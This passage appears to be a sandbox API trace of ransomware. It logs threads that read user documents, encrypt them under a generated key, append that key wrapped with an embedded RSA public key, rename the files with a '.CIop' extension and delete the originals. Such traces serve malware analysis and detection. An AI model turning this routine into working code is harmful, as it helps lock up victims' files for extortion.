lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f17 [0092.000] WriteFile (in: hFile=0x45c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0092.000] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f1e [0092.000] SetErrorMode (uMode=0x1) returned 0x1 [0092.000] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0092.000] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0092.000] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0092.000] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62d800) returned 1 [0092.000] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62d800, dwCertEncodingType=0x1, pInfo=0x682860, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c37d0) returned 1 [0092.000] CryptEncrypt (in: hKey=0x5c37d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0092.000] CryptEncrypt (in: hKey=0x5c37d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62d668*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62d668*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0092.000] WriteFile (in: hFile=0x45c, lpBuffer=0x62d668*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62d668*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0092.000] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.002] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.002] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.002] CloseHandle (hObject=0x45c) returned 1 [0092.004] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\gGPxR1SI06PikWMCd.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\ggpxr1si06pikwmcd.rtf")) returned 0 Thread: id = 80 os_tid = 0x4f0 [0092.005] lstrcpyA (in: lpString1=0x306e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.005] lstrcpyW (in: lpString1=0x306f368, lpString2="NHki1vMmaXoWuhnR.pdf" | out: lpString1="NHki1vMmaXoWuhnR.pdf") returned="NHki1vMmaXoWuhnR.pdf" [0092.005] lstrcpyW (in: lpString1=0x306f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0092.005] SetErrorMode (uMode=0x1) returned 0x1 [0092.005] wsprintfW (in: param_1=0x306eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\NHki1vMmaXoWuhnR.pdf") returned 100 [0092.005] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\NHki1vMmaXoWuhnR.pdf", dwFileAttributes=0x20) returned 1 [0092.005] StrStrW (lpFirst="NHki1vMmaXoWuhnR.pdf", lpSrch=".CIop") returned 0x0 [0092.005] wsprintfW (in: param_1=0x306e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\NHki1vMmaXoWuhnR.pdf.CIop") returned 105 [0092.005] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\NHki1vMmaXoWuhnR.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\nhki1vmmaxowuhnr.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x450 [0092.007] ReadFile (in: hFile=0x450, lpBuffer=0x636ce0, nNumberOfBytesToRead=0xfc03, lpNumberOfBytesRead=0x306e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x306e5e8*=0xfc03, lpOverlapped=0x0) returned 1 [0092.007] CloseHandle (hObject=0x450) returned 1 [0092.008] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\NHki1vMmaXoWuhnR.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\nhki1vmmaxowuhnr.pdf")) returned 1 [0092.010] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0092.011] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0092.011] SetErrorMode (uMode=0x1) returned 0x1 [0092.011] CryptAcquireContextW (in: phProv=0x306e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x306e5b8*=0x62d1a0) returned 1 [0092.013] CryptGenKey (in: hProv=0x62d1a0, Algid=0x1, dwFlags=0x4000, phKey=0x306e5bc | out: phKey=0x306e5bc*=0x5c3310) returned 1 [0092.049] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x306e5ec | out: pbData=0x0*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0092.050] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x306e5ec | out: pbData=0x2de0000*, pdwDataLen=0x306e5ec*=0x94) returned 1 [0092.050] CryptDestroyKey (hKey=0x5c3310) returned 1 [0092.050] CryptReleaseContext (hProv=0x62d1a0, dwFlags=0x0) returned 1 [0092.050] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\NHki1vMmaXoWuhnR.pdf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\nhki1vmmaxowuhnr.pdf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0092.051] WriteFile (in: hFile=0x458, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0xfc03, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x306e5d8*=0xfc03, lpOverlapped=0x0) returned 1 [0092.052] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfc03 [0092.052] WriteFile (in: hFile=0x458, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x306e5d8*=0x7, lpOverlapped=0x0) returned 1 [0092.052] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfc0a [0092.052] SetErrorMode (uMode=0x1) returned 0x1 [0092.052] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0092.053] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0092.053] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x306d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598 | out: pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598) returned 1 [0092.053] CryptAcquireContextW (in: phProv=0x306d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x306d5a8*=0x62d448) returned 1 [0092.053] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62d448, dwCertEncodingType=0x1, pInfo=0x681a90, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x306d5b0 | out: phKey=0x306d5b0*=0x5c3390) returned 1 [0092.053] CryptEncrypt (in: hKey=0x5c3390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x306d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x306d5b4*=0x80) returned 1 [0092.053] CryptEncrypt (in: hKey=0x5c3390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62d6f0*, pdwDataLen=0x306d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62d6f0*, pdwDataLen=0x306d5a4*=0x80) returned 1 [0092.053] WriteFile (in: hFile=0x458, lpBuffer=0x62d6f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x306e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62d6f0*, lpNumberOfBytesWritten=0x306e5d8*=0x80, lpOverlapped=0x0) returned 1 [0092.053] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.054] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.054] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.054] CloseHandle (hObject=0x458) returned 1 [0092.056] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\NHki1vMmaXoWuhnR.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\nhki1vmmaxowuhnr.pdf")) returned 0 Thread: id = 81 os_tid = 0x554 [0092.028] lstrcpyA (in: lpString1=0x31ae5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.028] lstrcpyW (in: lpString1=0x31af368, lpString2="tyDDeYuppbUilesSL.odt" | out: lpString1="tyDDeYuppbUilesSL.odt") returned="tyDDeYuppbUilesSL.odt" [0092.028] lstrcpyW (in: lpString1=0x31af768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0092.028] SetErrorMode (uMode=0x1) returned 0x1 [0092.029] wsprintfW (in: param_1=0x31aeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\tyDDeYuppbUilesSL.odt") returned 101 [0092.029] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\tyDDeYuppbUilesSL.odt", dwFileAttributes=0x20) returned 1 [0092.029] StrStrW (lpFirst="tyDDeYuppbUilesSL.odt", lpSrch=".CIop") returned 0x0 [0092.029] wsprintfW (in: param_1=0x31ae758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\tyDDeYuppbUilesSL.odt.CIop") returned 106 [0092.029] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\tyDDeYuppbUilesSL.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\tyddeyuppbuilessl.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0092.030] ReadFile (in: hFile=0x458, lpBuffer=0x6468f0, nNumberOfBytesToRead=0x14264, lpNumberOfBytesRead=0x31ae5e8, lpOverlapped=0x0 | out: lpBuffer=0x6468f0*, lpNumberOfBytesRead=0x31ae5e8*=0x14264, lpOverlapped=0x0) returned 1 [0092.031] CloseHandle (hObject=0x458) returned 1 [0092.031] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\tyDDeYuppbUilesSL.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\tyddeyuppbuilessl.odt")) returned 1 [0092.056] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2dd0000 [0092.056] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2de0000 [0092.056] SetErrorMode (uMode=0x1) returned 0x1 [0092.057] CryptAcquireContextW (in: phProv=0x31ae5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x31ae5b8*=0x62d1a0) returned 1 [0092.059] CryptGenKey (in: hProv=0x62d1a0, Algid=0x1, dwFlags=0x4000, phKey=0x31ae5bc | out: phKey=0x31ae5bc*=0x5c3310) returned 1 [0092.076] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x31ae5ec | out: pbData=0x0*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0092.076] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2de0000, pdwDataLen=0x31ae5ec | out: pbData=0x2de0000*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0092.076] CryptDestroyKey (hKey=0x5c3310) returned 1 [0092.076] CryptReleaseContext (hProv=0x62d1a0, dwFlags=0x0) returned 1 [0092.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\tyDDeYuppbUilesSL.odt.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\tyddeyuppbuilessl.odt.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x45c [0092.077] WriteFile (in: hFile=0x45c, lpBuffer=0x6468f0*, nNumberOfBytesToWrite=0x14264, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x6468f0*, lpNumberOfBytesWritten=0x31ae5d8*=0x14264, lpOverlapped=0x0) returned 1 [0092.079] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14264 [0092.079] WriteFile (in: hFile=0x45c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x31ae5d8*=0x7, lpOverlapped=0x0) returned 1 [0092.079] SetFilePointer (in: hFile=0x45c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1426b [0092.079] SetErrorMode (uMode=0x1) returned 0x1 [0092.079] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0092.079] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0092.079] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x31ad5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598 | out: pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598) returned 1 [0092.079] CryptAcquireContextW (in: phProv=0x31ad5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31ad5a8*=0x62db30) returned 1 [0092.079] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62db30, dwCertEncodingType=0x1, pInfo=0x681f70, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x31ad5b0 | out: phKey=0x31ad5b0*=0x5c35d0) returned 1 [0092.079] CryptEncrypt (in: hKey=0x5c35d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x31ad5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x31ad5b4*=0x80) returned 1 [0092.079] CryptEncrypt (in: hKey=0x5c35d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62d558*, pdwDataLen=0x31ad5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62d558*, pdwDataLen=0x31ad5a4*=0x80) returned 1 [0092.079] WriteFile (in: hFile=0x45c, lpBuffer=0x62d558*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x62d558*, lpNumberOfBytesWritten=0x31ae5d8*=0x80, lpOverlapped=0x0) returned 1 [0092.080] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.081] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.081] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.082] CloseHandle (hObject=0x45c) returned 1 [0092.083] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\tyDDeYuppbUilesSL.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\4cjd3sacmw1\\tyddeyuppbuilessl.odt")) returned 0 Thread: id = 82 os_tid = 0xa10 [0092.108] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0092.108] lstrcpyW (in: lpString1=0x2f0f368, lpString2="3B2V8p-DhIekN7FYAT.docx" | out: lpString1="3B2V8p-DhIekN7FYAT.docx") returned="3B2V8p-DhIekN7FYAT.docx" [0092.108] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: 